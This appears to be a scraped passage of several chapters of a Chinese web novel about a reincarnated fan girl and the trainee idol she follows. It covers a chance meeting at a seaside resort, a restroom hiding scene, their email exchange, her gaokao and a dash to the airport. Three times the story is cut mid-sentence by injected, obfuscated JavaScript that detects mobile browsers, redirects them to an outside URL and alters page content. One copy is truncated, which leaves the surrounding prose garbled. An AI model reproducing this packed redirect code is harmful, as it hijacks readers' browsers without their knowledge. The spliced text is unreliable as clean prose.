林定再退了一步。 她的脚步犹豫了。 心里一个声音对她喊,都一年没见了,上去打个招呼怎么了,抱一抱怎么了?!那可是她心心念念的人啊! 另一个声音则告诉她,来到此地本就是她别有用心,看一眼便足够了,再得寸进尺,岂不是和私生无异…… 她心里的边界感又硬生生地拔地而起。 林定转身离去,未曾想竟撞了别人身上,她没站稳,差点摔在了沙子里,还好对方扶住了她。海风很大,头发还糊在脸上,缝隙之间,她看向来人,下意识地惊呼:“顾蓝?” 顾蓝本来想为自己不看路而撞到别人道歉来着,还在斟酌要用英语还是什么语的时候,没想到人家先开口说中文了。 等等,还说的是他的名字?! “啊,你认识我?”顾蓝一脸懵地问。 林定心想大事不妙,她赶紧低头,匆匆狂奔离去。 20.20 逃跑 “她怎么跑了?居然还认识我?”顾蓝一头雾水地咕哝道,突然又来了点兴奋,“不会是我的粉丝吧?” 他身后的戴无极瞟了一眼那落荒而逃的少女背影,轻蔑地说:“你想多了。你能有几个粉丝?这顶多就是私生呗,我们在这么偏远的地方拍摄都能跟过来。被你发现了还不跑吗?” 顾蓝气的还来不及顶嘴,摄影老师就在喊戴无极过去拍摄了。 纪屿手里提着一袋贝壳,走向顾蓝的时候,看到顾蓝一副气哄哄的模样。 “你怎么了?”纪屿问。 “无语至极,那个戴无极真是目中无人,”顾蓝看纪屿来了,迫不及待地对他开启吐槽,“他以为他多了不起?居然说我没有粉丝,我看他那号上都是买来的粉丝,谁会喜欢他这种人?”他对着戴无极的方向的空气踹了一脚,看到纪屿的眼神,他才收敛了半分,压低声音继续诉苦:“我不是在等你么,刚才这有个小姑娘,认出了我,但不知道是不是我声音太大,把人家吓跑了。好惨,好像还被我吓哭了,她头发太乱把脸挡住了,但是那眼里泪汪汪的……” “嗯,肯定是你把别人吓跑了。”纪屿淡淡道,听完顾蓝的说辞他只觉得有些好笑,便朝公司的车走去。 顾蓝比纪屿拍的早,他也可以走了。 沙滩很大,走到公路边也有些距离,沙滩上有一些小贩,卖一些古怪的东西,顾蓝看得眼睛都直了,可纪屿对这些都没兴趣。 但纪屿的脚步却停在了一个老婆婆的摊位前,老婆婆面前的小木桌,摆放着很多漂亮的贝壳首饰。 顾蓝走上前来,问纪屿道:“你想买这个?” 纪屿没搭理他,只用流利的英语问老婆婆怎么卖。老婆婆大概是听不懂,只是指了指纪屿手里装贝壳的袋子,还很热情地点点头。 纪屿以为是老婆婆想要他的贝壳,他递了过去,本想就离开,但老婆婆用他听不懂的语言很大声地叫住了他。 老婆婆指了指旁边的两张小凳子,示意他们坐下。 顾蓝拉着纪屿坐下后,老婆婆便开始捣鼓起那袋里的八颗贝壳,又用剪刀,又红绳的,不到五分钟便串成了一条很好看的贝壳手链。 她抖着手,将手链戴到纪屿的手腕上,看到大小合适,便笑眯眯地比了个赞的手势。 “很好看诶……”顾蓝感慨道。 纪屿对老婆婆笑了笑,把口袋里装钱的信封递给了她,未等老婆婆回应,便拉着顾蓝走了。 顾蓝吃惊地说:“你把早上小张发的这月生活费都给她了?这玩意虽然好看,但不至于要这么贵的手工费吧?” “老人家不容易。”纪屿简短地说,拽着顾蓝往车那边走去。 “大哥,那你这月吃啥?喝西北风吗?” “那不是还有你么,你顾蓝是大明星,都有粉丝来见你了,你给我一口饭吃不过分吧。 “……” 林定一路狂奔回酒店,因为急促的大喘气,她感到喉咙一股血腥味。妈妈朋友的婚礼,应该还在进行中,她打算歇一会再进去宴会厅,这样才能显得不那么狼狈。 酒店大堂的经理,见一个小姑娘慌慌张张地跑进来,刚想上前问问是不是能帮的上忙,却见那小姑娘回头向门外望了一眼后,她的脸色又是一变—— 林定感觉自己要疯了。 纪屿和顾蓝,正在从酒店大门口走进来。 救命!他们怎么也来这里了?! 她觉得今天是荒谬的,心情就像过山车一样…… 这简直是命运在和她开玩笑吧! 与偶像偶遇本应该是浪漫的事情,可为什么她要这么害怕啊! 完了完了,万一被他误会了,误会自己是个跟踪狂、私生粉怎么办? 她刚才跑得那么快,怎么纪屿只比她晚到一点点……好吧,人家是艺人,有专车接送。不过现在不是纠结这个的时候…… 她手忙脚乱朝着大堂侧面的洗手间方向奋力奔去,直到冲进厕所隔间、锁上门,她才长长地舒了一口气,“终于……” 但…… 缘,妙不可言。 她这口气还没彻底松下来,洗手间门口就传来了耳熟的明亮男声——是顾蓝的声音。 作为纪屿的铁粉,前世林定看过无数个纪屿他们组合的视频,林定对顾蓝的声音很熟悉,绝对不会听错。 她猛地想起,刚刚在海边,自己脱口而出地喊了他的名字……若是现在走出去,被顾蓝认出来,那就真的是会被当作私生粉,有口都说不清了。 看来,短时间内,她是别想出去了。 顾蓝正堵在厕所的门口,和纪屿在说话。 “真服了,你说小张为啥要把我们的房给退了?我本来还想回去补个觉的,结果突然告诉我们房没了,现在连换衣服都得来公共厕所换,天啦……”顾蓝的抱怨声清晰洪亮,隔间门板后的林定听的一清二楚。 随后,林定听见了纪屿的回答。 “不想在这换,你可以去戴无极的房间换。他的房,小张没退。” “切!”顾蓝不屑地冷哼了一声。接着脚步声响起,听起来是顾蓝走进了男厕所。 就在林定祈祷他们快点走开时,她那不争气的手机,竟然响了起来。因为她总是听不见电话铃,所以她还把电话铃声调到了最大的音量,此时此刻,巨大声的铃声在安静的厕所里、厕所外面的走廊上显得非常刺耳——而且,最悲哀的是,她的铃声还在上周换成了纪屿之前送给她的那张唱片里的主打歌曲。 屏幕上跳动着“妈妈”的来电显示。 接吗?还是不接啊? 铃声催命般地响着,她最终咬咬牙,捏住鼻子,用一种连自己都觉得嗲的声音接起了电话:“喂,妈妈?” “半天不接电话,你这什么声音啊?人呢,舍得浪完回来了没有?”妈妈的声音从听筒里传来。 “我、我在厕所呢……”林定心塞地回道,只求妈妈赶紧挂断。 好了,这下妈妈真的挂断了。 但是,伴随着高跟鞋的声响,妈妈的声音在洗手间门口响了起来—— “定定,你在这吗?你这孩子,躲厕所里干嘛?” 林定瞬间就僵住,她感觉自己的就要因为大脑极速充血而晕倒。 妈妈为什么要在这时候来厕所啊!! * 纪屿和顾蓝离开沙滩后,坐上了公司派的车。和早起的鸟儿一样的行程耗尽了精力,两人都盼着回酒店休息一下,经纪人的电话却打了过来。 纪屿见顾蓝凑了过来,便直接打开扬声器,小张很不耐烦的声音传来:“纪屿,今晚拍摄取消,不用待在那边了,你和顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16684143|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝的房间我退了。你们换完衣服就直接让司机送你们回练习生公寓。戴无极的房还留着,你们可以去他那儿换。” “好的。”纪屿回应道,赶在顾蓝大爆发前,挂断了电话。 “欺人太甚!”顾蓝本就因在海边被戴无极讥讽而憋着一腔怒火,加上刚才小张的差别对待,他直接爆炸了,“回公寓要三个小时车程!他这意思是我们饭都不用吃,就直接上路?还有那个戴……” 纪屿拍了拍他的胳膊,抛去一个警示的眼神,视线扫了一眼驾驶座的司机。顾蓝立刻闭上了嘴,委屈又懊恼地低下了头。 纪屿提高音量,对司机道:“师傅,麻烦先送我们回酒店换衣服,然后我们在酒店餐厅简单吃个饭再出发,您也和我们一起吧。”司机憨厚地点点头,有些不好意思地接受了纪屿的邀请。 回到了酒店大堂,纪屿的视线被一个穿着碎花裙,匆匆跑向洗手间的身影吸引了。他灵机一动,对顾蓝说:“我们去洗手间换吧,不必去戴无极房间了。” “好主意,我真不想再看他的嘴脸了!”顾蓝狠狠赞同,然后便和纪屿一道往洗手间走去。 顾蓝进了男厕所换衣服,纪屿则拎着包袱在门口等待。 这时,一段熟悉的旋律从女厕里面传出来,他微微一愣。 这首歌……是他今年偶然发现的一张小众唱片里的宝藏歌曲,真没想到,在异国他乡的海边小镇,也能遇到有同样喜好的人。这一日的不愉快,也被这意外的知音同频者驱散了少许。 歌声持续了好一会儿,里面的人终于接起了电话。传出来的居然是一把娇滴滴的女声:“喂,妈妈?” 原来是个中国小姑娘。纪屿勾了勾嘴角,没有想到,年纪这么小,已有了这般品味。 纪屿侧头,只见一位打扮得体,看上去四十多岁的女士朝洗手间走过来,冲着厕所里面喊道:“定定,你在这吗?你这孩子,躲厕所里干嘛?” 定定? 纪屿的眼神闪烁了一下,以为自己出现了幻听。 她刚才叫的是……定定吗? 不过里面那个声音,和林定定不一样,也不可能是她,如果她来这边旅游,肯定会在邮件里告诉他的。 纪屿在内心否定了这个想法。 顾蓝换好了休闲便服,从厕所里走了出来,听到熟悉的汉语,顿时就兴奋起来,他主动向那位女士打招呼:“哇,遇到同胞了!老乡见老乡啊!” 林定的妈妈先是看到气质非凡的纪屿,现在又见到一个帅气的阳光型男孩与她热情搭话,一时有些恍惚,她笑着回道:“啊……你们好,你们好。” 顾蓝的“E人”属性彻底爆发了,他笑嘻嘻地问:“您是来旅游的吗?这儿的风景确实很不错的。” “是来参加朋友婚礼的,”林定妈妈指了指大厅侧的宴会厅,语气温和地说,“我朋友结婚,我带女儿来这边参加婚礼,顺便旅游一下,小孩子刚好放暑假。” 原来厕所里面的是个小孩,纪屿思考着,心下暗自确认。 林定的妈妈沉浸在两位帅哥出众样貌带给她的视觉冲击中,差点就忘了正事,她才回过神来,又向洗手间里喊道:“定定,你好了没有啊?你周阿姨等着和你拍照呢!” 厕所隔间里,林定绝望抓狂地闭上眼睛,只恨自己不会瞬间移动。 21.21 事业粉 一阵沉默后,厕所隔间里,林定用自己能发出的最粗旷、最不像自己的嗓音,视死如归地大声一吼:“妈!!我!我窜稀了!出不去!你跟周阿姨拍吧别等我了!” 门外瞬间安静了。 林定的妈妈愣住了两秒,没想到在公共场合,女儿竟然说出这样的话语,加上她现在面前有两位帅气小哥……妈妈瞬时又气又无奈,便教育道:“在公共场合瞎说什么呢!一点都不文明!”她朝旁边两位好看的年轻人尴尬一笑,“不好意思,小孩子口无遮拦的……” 顾蓝听到里面这姑娘如此接地气的话后,就一直努力地绷紧自己的嘴角,可他觉得太好笑了,肩膀还是控制不住地在微微颤动。纪屿的唇角也差点没绷住,他轻咳了一声,想借此掩去这一片刻的失态,他对林定妈妈轻轻颔首,便把包递给顾蓝,进厕所更衣去了。 门外的二人无言沉默,顾蓝想找话题说什么,但还没来得及开口,纪屿便已经换好衣服出来了。 林定妈妈的目光不经意间,落在了纪屿的手腕上,那上面有一条很别致的手链,由几枚小贝壳串联而成,但这俏皮的饰品风格着实与这位气质不凡的少年不太搭。林定妈妈也想缓和一下刚才尴尬的气氛,便开口转移话题道:“帅哥,你这手链好特别,挺漂亮的诶。” “谢谢。”纪屿自己也低头看了一眼,礼貌回应道。 一旁的顾蓝,E值又极速上升,说道:“姐姐好眼光啊!这是他自己捡来的贝壳,独有一条呢!”他笑着拿手肘撞撞纪屿,“兄弟,要不你送给这位姐姐当见面礼吧,咱们难得在异国他乡见到同胞嘛。” “不行。”纪屿在顾蓝话音落下的时候立刻就开口拒绝了。 顾蓝的笑意凝在脸上。他心想,这不是纪屿为了救济老婆婆而买单的吗?他不会是真的喜欢吧……而且,纪屿这样说,让人家对面阿姨多难堪呢……兄弟可从来没做过这么低情商的事啊…… 林定妈妈还沉浸在顾蓝喊自己“姐姐”的沾沾自喜之中,且她本就对这幼稚的贝壳手链不感兴趣,所以才不会放在心上,也不会感到难堪,她只说道:“没事儿,这个手链和我也不搭,还是你留着自己戴好。” 纪屿用手指轻轻触碰了一下这条手链,淡淡补充道:“抱歉,这条是我准备送给国内一个小妹妹的礼物。如果您喜欢,我可以带您去沙滩上面买一条串好的,那里的款式更好看。” “国内的小妹妹?”顾蓝惊呼。 不止顾蓝震惊,厕所隔间里的林定,更是差点脚滑跌进了坑里。 什么…… 她作为纪屿的粉丝,马上警惕了起来。 许多种情绪瞬间浮上了心头,混杂着不解、生气和一丝难以描述的酸涩。 他的身边,什么时候有了这样一个人? 公司知道吗?经纪人知道吗? 这都还没出道呢,搞这些会影响事业的吧!?! 他怎么会……他怎么能…… 在那份属于粉丝视角的情绪之下,还有一种陌生的情绪在心底里隐隐作痛,林定自己都无法解释这究竟是为何。 好难受。 脚也酸,心也痛,她无法再听下去了,只希望门口的人赶紧离开,“妈妈……你先回去吧……别等我了……”林定再度捏紧鼻子,用那声音对妈妈作出最后的卑微请求。 门外,纪屿和顾蓝对着林定的妈妈礼貌道别后,便离开了,妈妈叮嘱了林定几句话后,也自己先返回了宴会厅。 又过了好一会儿,当林定确认外面再也没有动静的时候,她才轻轻地推开厕所的隔间门。 长时间维持一个姿势,她的腿早就麻了,刚朝外迈出两步,酸麻感从脚底开始遍布全身,林定“砰”地一声,摔在了冰冷的地砖上。 □□也疼,心里也疼。 她在地上缓缓爬起身来,望着镜子里那个头发凌乱,一脸悲惨潦草的自己,内心开始下暴雨。 林定和妈妈参加完婚宴,又在隔壁市观光两日后,他们便踏上了回国之路。妈妈见林定一路上都闷闷不乐,只当她是高三临近,压力大导致心情不好,所以没有多问。 林定这几天,确实是沉默寡言。她的手机主页就是邮箱App的图标,可她心里却莫名其妙生闷气,就是不想点开去看。回国后的一个星期,她这种心情仍然持续着。 短暂的暑期里,她的生活日常和从前一样规律。 上午写作业,下午看书复习,晚上更新小说,以及搞一下围脖账号。她那个ID名为“热爱屿林”的账号照样为纪屿产出精修的帅气照片,写下真挚漂亮的赞美语。 好像,沉浸于粉丝这个单纯身份的时候,她乱如麻的思绪才会稍稍被她忘却一点。 她有些郁闷了。 其实,这才是前一世的粉圈规则——和偶像保持距离,才是最正确的追星方式。 然而,在一个完成所有事情后,格外无聊的夜晚,林定的理智终究还是被情绪打败了。她坐到书桌前开电脑,深呼吸着,点开了那个邮箱界面。 里面静静地躺着两封纪屿的未读邮件。 林定抿紧双唇,开始阅读。 第一封,发送邮件的时间,是她偶遇他的那一日。 【你还在旅游吗?我去了海边拍摄,这边风景很美,以后有机会,你一定要来看看。】 第二封,与上一封邮件隔了五天。 【我们要备战出道考核了。忙起来大概不能每天上电脑,你给我留言,我看到就会回。】 林定眼神茫然地盯着屏幕上的文字。 我当然知道风景很美。 她在心里默默回复道。 我们那天看到的,是同一片海。 她拿起了桌上的水杯,刚放到嘴边,又若有所思地顿住。 这个时间节点……是的没错,他们组合的出道考核,好像是在明年的春节假期后,现在距离过年还剩不到半年时间,确实到了该全力以赴备战的关键阶段。 林定划了划电脑触控板,将第二封信的其中一句话高亮了起来。 “忙起来可能不能每天上电脑”。 她忍不住在心里吐槽道,现在登录邮箱,明明可以在手机上嘛……纪屿也就比自己大五岁罢了,怎么像个老人家一样,跟不上时代的进步么,非得用电脑回信。 这个念头刚落,她又心下自嘲起来,人家能回你不错了,还轮到你挑上了么。 忽然间,她那天在洗手间里,听到门外的那些话语,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林定突然又后悔了,为什么自己要赌气发这个。万一偶像真的是有什么情况,那不就是诅咒人家么? 而且,前世纪屿从顶流成为了不温不火的明星后,林定和其他粉丝也没有很抗拒自家哥哥去谈恋爱,因为大家都觉得纪屿三十了也挺孤独的,若是遇到真爱,他们也是会祝福的。 可他现在不是才二十么,上升期诶! 林定脑子里的两个想法互相在打架,后悔发送……不后悔发送…… “叮!” 电脑传来了消息提醒声。 纪屿这么快就回信了? 林定都不敢点开了,为什么这该死的邮件没有撤回的功能啊…… 她纠结了一分钟,还是颤着手点开了那个红点。 【不至于吧。】 林定愣愣地看着这四个字。这是什么意思?意思是他觉得谈恋爱不至于如此,所以他会谈,他在谈到意思吗。 窗外忽然电闪雷鸣,风肆意地打着窗户,她赶紧跑去窗边,把窗户的玻璃关上。 她站在窗子前许久,看着窗外的路人手足无措地避雨。 身后电脑的微光,是这个房间里唯一的光源。 那边再次传来“叮”的一声。 她闻声,慢慢的走回电脑前。 纪屿的新邮件弹了出来。 【别人我不清楚。我反正没谈过。】 林定抹了抹眼睛。 22.22 我们见面吧 “我!就!知!道!!” 林定长长地呼出一口气,带着傻傻的笑声,向身后的床上一倒,陷进柔软的被子里。 窗外,虽然还是横风暴雨,但是她的心里已是万里晴空。 “那可是我两辈子都选中的人,事业心绝对是杠杠的,”她自言自语,抱着床上的玩偶打了个滚,脸上满满的喜悦骄傲,“他怎么可能会在出道的关键时刻分心搞别的!” 这股逐渐增加的欢欣劲让她躺不住了,于是她马上从床上坐起来,冲到电脑前,开始敲键盘,之前的委屈一扫而空。 【我也快开学啦,高三要提前回校上课了。那一起加油一起努力!你为出道努力,我为升学加油!】 邮件发送成功的那一瞬间,踏实感满满。 “第二次高三,我来啦!” 进入高三,教室里的空气都少了欢声笑语,更多的是翻书的声音。林定与何纯、邓晓春等几个关系好的同学组成了学习小组,他们分享笔记,相互提问,也会为一道题争起来像吵架一样。在这种目标一致,团结友爱的氛围中,友谊的链接一日比一日牢固。 无论前世今生,这些都是能与她一同奔赴战场的人。 这不同于职场的勾心斗角,他们每日并肩作战,同学之间互帮互助的感觉让林定感到十分安心自在。 林定将自己被996毒打练就出的超强抗压力和执行力,投入到这高三之中。 而纪屿那边,也是一样地忙,一个月才回一次邮件。 日子在朗朗背书声和写考卷的沙沙声中飞速流逝,忙碌得让人没有把季节的更替放在心上了,只是做多了几张卷子的时间,窗外的大树就从翠绿变为秋黄,又渐渐成为枯枝。他们迎来了冬季,年的脚步再次悄然临近。 林定知道,在年后,纪屿会迎来了出道前的全封闭考核。 她的邮箱再次安静了下来,而他给她发来了最后一封信。 【你也要加油,定定。】 你也是。 * 纪屿站在窗边,身后的队友们的抱怨和谩骂声。 一切,都还按照前世的轨迹展开。 在进入完全封闭的出道战前,他给林定发去了最后一封邮件。 他在邮件里写下最后的祝愿,真诚地希望这个与他聊天纯粹、不涉利益的女孩子,能考上心仪的大学,找到真正适合自己的的人生道路。 年前,戴无极果然再次和公司高层联合出手,抢夺了他们几个人一起合作的出道曲,以Solo的形式出道。消息传来,顾蓝和其他几位练习生都气炸了,他们原以为过年之后就能进行最后的出道战,没想到却产生了变数,出道计划被临时推迟到了半年后的六月。 练习室里弥漫着失望与不甘,只有纪屿置身事外,内心只觉得荒谬可笑。 这一次,他早有防备,那首被窃取的歌,本就是他故意写得平庸得多的诱饵罢了,可那个毫无创作才华的空壳明星戴无极,仍然不顾一切地将其据为己有。 重生以后,纪屿从未将希望寄托于问鼎娱乐。 他比谁都清楚,最终的出道考核仍需回国进行,他们组合的出道日是六月二十日。前世的他,为了出道拼尽全力,争得了看似风光无限的中心位,却也从此踏上了惨痛的悲剧之路。 他依然热爱舞台,热爱音乐。 但公司安排的这一条路,他不会再走了。 他利用前世自己的认知储备,匿名投资了很多那些注定会大爆的电影和的创作型小歌手。 他的资本和底气已经在无人知晓的角落变得愈发雄厚。 这一切,都是在提前为自己铺好退路与前路。 他在等一个时机。 * 虽然不能直接联系了,但问鼎娱乐的官方账号,每周都在告诉大家那边的紧张节奏。官号公布了出道战的日常照片,以及每次考核的分数排名。在完成每日的复习任务后,林定会挤出时间,运用前世在大厂练就的数据分析能力,梳理这些公开信息,在粉丝群中进行专业的解读,不知不觉便成了好几个核心粉丝群的群管理员。 虽然暂时不能出国追线下,但林定凭借着领先这个时代、十年后的审美,将海外粉丝在群里的返图精心ps,产出了一系列神图,为纪屿吸引了越来越多新粉。她作为大粉,未雨绸缪地引导粉丝理性应援,专注纪屿的作品,为未来可能出现的舆论问题提前做好防备,积累更多的正面话语权。 虽然林定的爆金币计划进度还没完成,但她之前囤的一些小明星的唱片,有一两个已经开始有了红的水花。林定床底下和衣柜里都是满满的专辑——大部分都是孟泳书的初代专辑和签名周边,她陆陆续续地买进,没想到已经囤了这么多了。掐指算算,孟泳书的出道时间和纪屿差不多,所以只要等到林定高考完,孟泳书就会爆红,然后她就能将这些全部高价卖出了。 虽然林定高三,不够时间日更小说了,但她承诺书粉们,这本书她跪着也会更完,让大家放心。之前加上好友的那位未来主持人曾奇奇,林定还在和她维持着恰到好处的联系。没想到那位非常喜欢林定,还约好等林定高考完,要给她笔下的“祝星昕”做一个自媒体专访。 爸妈和林定的关系日渐缓和,在林定十八岁生日的那一天,他们为林定“再次”庆祝了十八岁的生日,并送给林定一个她很想要,上辈子却没有买的相机。 林定将自己的手机锁屏,换成了纪屿之前给她发的独一无二的自拍照。 每当学到麻木时,她只要看到屏保,就能重获力量,继续奋斗。 他们在不同的国度,不同的领域,朝着各自心中的方向,全力奔跑。 * 高考前两周,学校照例邀请了往届的优秀师兄师姐回校宣讲,给高三生们加油打气。林定坐在教室里打着哈欠,听着班主任的热情的欢迎介绍,目光扫向门口——下一秒,她整个人的困意全无,瞳孔猛地变大了。 走进他们班的其中一个“优秀学姐”,那面孔林定熟悉的不得了。 胃里一阵翻江倒海,感觉中午吃的饭都要吐出来了。林定无法表情管理了,她脸上露出了嫌恶的表情。 她想起来了。 周曼,她的高中师姐,亦是她那996大厂的同事。 前世,在那个996,甚至007成为常态的公司里,大多数人都被高强度的工作夺去了生活的品质,磨去了外在的精致感,唯有这个周曼姐,和林定的直属上司付天,每一天都保持着光鲜亮丽的外表和精致穿搭。她们超强精力不只是用在个人打理上,更多是用在工作之中。 周曼和付天,是公司管理层格外青睐的优秀员工。 周曼与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16704522|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林定虽不同部门,但工作交集很多。 林定见到她的那一刻起,就想起来,在高三的时候见过她,还想与她熟络起来,因为毕竟是一个高中的校友。 可周曼的第一问,就是问林定,她考上了哪个大学。 林定的回答,让周曼瞧不起。 “你这本科这么不出名……为什么还能进来和我们一起共事?” 她为人极其强势,明明只是平级同事,周曼却总是对旁人颐指气使。像林定这种毕业不久、学校背景又不够亮眼的新人,她更加是用对待下属的语气来要求别人做事。无论林定的绩效多出色,效率有多高,周曼总能找到刁钻的角度来贬低她,甚至还私聊了林定的上司付天,直言不想与林定“这种二流学校出来的人”有工作上的交集。 讲台上的周曼,还是有着漂亮的妆容,得体的笑容,也许是因为回到了母校,她的眉宇间多了一点虚伪的和善。 讽刺的是,重活一回,林定此刻已是班级前三的优等生。班主任特意安排她和另外几个同学,负责接待这几位师兄师姐,陪同他们前往学校食堂进餐。 真是受不了。 林定看着迎面走来的周曼,心底不停地冷笑。周曼此刻挂上了赞赏的表情,对着林定赞美道:“你就是林定同学吧?看起来就很厉害,一看就是重点大学的料!以后大学毕业了,师姐给你内推啊,你知道我们公司的,那可是业内顶尖,薪资待遇都是top级哦~” 林定脸上礼貌一笑,心里早已骂了她百遍、千遍。 谁要去那鬼地方上班啊!? 想到前世,被此人种种欺凌和诋毁,一个念头冒了出来。 她眨了眨眼,故作天真地开口,音量也恰到好处,刚好让附近的几个同学和老师听见: “谢谢曼姐的好意。不过,我听说贵司薪资虽然高,但折算成时薪,好像还不如普通小公司诶……而且,每天工作时间这么久,长期这样算下来,健康也下降,还有医疗的潜在支出,这样……真的划算吗?” 她眼神清澈,语气温柔却尖锐直指核心。 周曼脸上的笑容瞬间僵住,脸色涨成了非常难看的猪肝色。她没想到,在他人眼里这份体面又拔尖的工作,弊端竟然被这个女生一语道破。 她张了张嘴想要反驳,却发现任何辩解在这赤裸裸的事实前都显得有些苍白了。 她贼兮兮地一笑,补刀道:“曼姐,今天请假回来,不容易吧?下次请假还好批吗?” 周曼直接破防。 她不知道怎么惹到这个学生了,也根本不知道这个学生怎么知道他们公司的请假制度。 看着周曼窘迫的模样,林定在心里积压两世的那口恶气,终于畅快地吐出来了。 林定今天的心情很好。 她回到家中,打开了沉寂许久的邮箱,给纪屿发去了一封邮件。 【我快高考啦,接下来两个星期我打算断网啦!祝我顺利,也祝你顺利!】 高考前一日,6月6日。 林定早早洗完澡,八点就上床躺着了。 她不知,邮箱里收到了三条邮件。 【高考加油,定定。】 【我也要回国了,我8号晚上七点飞回G市。】 【等你考完,我们见面吧。】 附件是出道曲的demo。 23.23 跑去见你 在考场上,盖上笔帽的那一瞬间,林定有一种感动到想哭的感觉,她终于结束了重生后的再一次高考。 下午五点钟,考场的铃声按时响起。 何纯和林定在同一个考场,他们收拾好笔袋出教室的时候,邓晓春已经挽着她男友郑智昊的手从楼上的考场走下来了。 “你俩也都是先回家换衣服吗?班长定的聚餐是八点半哦,我打算和智昊吃点东西再来~”晓春对着林定隔空一个飞吻。 何纯嫌弃地撇撇嘴:“真是的,我们班的聚餐诶,叫他来干啥?是哪家店来着……” 晓春吐吐舌头,笑道:“咋地,他生在别人班,心在我们11班嘛。你一会看群聊,班长有发地址,是学校附近的那家川菜馆,”她小声说道:“反正同学们都成年了,那家店晚上还可以喝点小酒~” 林定对待那个男的态度还是和以前一样,视他为空气,她对晓春说:“那我先回家吧,晚上见哦。” 和晓春、何纯在校门口互相说拜拜后,她拿出手机开机,瞥见了屏幕右上角那红红的电量值。林定打开班群,看到班长在群里发的川菜馆地址,一丝复杂的感觉涌上心头。 她不是对聚餐抵触,但那个地点…… 上辈子那晚不甚愉快的记忆,她历历在目。她深吸一口气,将那一股微妙的情绪压了下来。还好,这一世,她与那个曾让她难堪不已的人已没有交流了,今晚定会是风平浪静的一夜。 校门口,被前来接考的父母和车辆堵得水泄不通,空气里,充满了考完试的欢腾。与前世无异的是,林定的父母依旧有急事出差在外地,这一个人生的重要节点她还是得一个人面对了。本想奢侈地打个车犒劳自己,但看着附近这该死的路况,她摇了摇头,决定步行回家。 在学校外和偶遇的同学说了一会儿话,真正动身出发时,已经是傍晚六点了。夕阳已经红遍天了,云朵都被染成了温柔的粉红色,漂亮得不像话。林定停下悠哉的脚步,抬头望向那遥远的绚烂天色,心中是久违的宁静与自在。 重生以来,高考是最近的大目标。虽然最终成绩和大学的录取结果还不知道,但她已经付出了两辈子以来最大的努力的拼搏,没有再辜负自己。无论结果如何,她都相信,自己的路定会比前世光明。 真美啊。 她看着夕阳,默默想着,从明天开始,她就可以告别埋首题海的日子,将时间和精力,投入其他重要的事情上——她未完的小说,她的爆金币计划,还有……关于纪屿的一切。 一想到纪屿,她掏出手机,想与他分享此时此刻自由的喜悦。可她的屏幕已经灭了,手机早就因为没电而关机了。她耸耸肩,重新踏上归家之路,倒是也不急,反正家就在前方了。 回到家,林定先将手机插上了充电器,然后去舒舒服服地洗了个热水澡。等她洗完澡吹干头发,墙上的时间显示六点四十分。 离晚上的聚餐还有不少时间。 她看了眼手机,电量才回升了二十几,便顺手按亮了书桌上的电脑。 她已两个星期没有登录邮箱了。 当她点开那个熟悉的图标,看到收件箱里躺着的三封来自于纪屿的新邮件时,林定整个人瞬间呆住,呼吸变得急促起来。 三封信,都发送于她考试的前一天。 第一封: 【高考加油,定定。】 第二封: 【我也要回国了,我8号晚上七点飞回G市。】 第三封: 【等你考完,我们见面吧。】 林定感觉自己像是刚坐完十环过山车,脑子晕乎乎的,感觉自己像是在梦里。 她吸了吸鼻子,忍不住呜呜了起来。 这一定是喜极而泣吧。 纪屿……在她考试前,给她发了加油信??等等,这好像也不是重点…… 她用手背擦了擦眼泪。 他说他八号回国……那不就是…… 今天?!!!!! 天啊!!!!!! 她猛地抬头看向时钟。 他的意思是晚上七点从外国出发,还是七点已经到G市了呢…… 林定马上打开G市机场各国际航班的落地时间表搜索,发现并没有七点从那个国家出发的航线,只有七点落地G市机场的一个航班…… 那纪屿此刻,岂不是…… 马上就要到了?! 林定呆呆傻傻地看着航司的网页,鼠标移向邮箱里的第三封邮件。 还有…… 见面是什么…… 要和她见面? 在哪里见? 她一个小小的粉丝,何德何能呢……林定不自信地将那封信重新读了十次。 她再看了一眼时间,这里打车去机场要一个小时。 不管了,先冲再说!!! 林定马上换衣服,拔了手机就冲出了家门。 高考结束,全城的年轻人好像都涌上了街头庆祝,交通也烂的不行。等林定打车赶到机场时,已经是七点半之后。 她不会没赶上吧。 这个念头让她感到心慌,更惨的是,她没有他的手机号,没法及时联系到他。 在来的路上,她就在不停刷新着问鼎娱乐的官号,却没有找到任何一条关于他们今日回国的行程信息,反倒是戴无极的粉丝,有发一些今日应援的注意事项。 机场大厅如此辽阔,人山人海,林定在人流中扫视,看到了几个拿着戴无极旗帜的女孩子。 难道,这趟航班只有戴无极一个人回来? 她看别人的“全副武装”,再低头看看自己的两手空空。 也许是她太心急了,也可能是她太想念了,才会这样不管三七二十一地就跑来机场。她前世也没有接过机,纪屿每次来G市,林定要么就是大学有课走不开,要么就是上班太忙走不开。 于是她转身,把旁边那机场花店剩下的8束向日葵都拿下了。 纪屿最喜欢的花是向日葵……她作为合格粉丝,这些自然是记在心里。花店老板人还老好了,帮她把这几束花放进纸箱后,还帮她抬到了机场的小推车上。 正当林定在艰难的推着这个车的时候,前方的一群女生突然爆发出激动的尖叫,朝着她身后的方向呼喊。 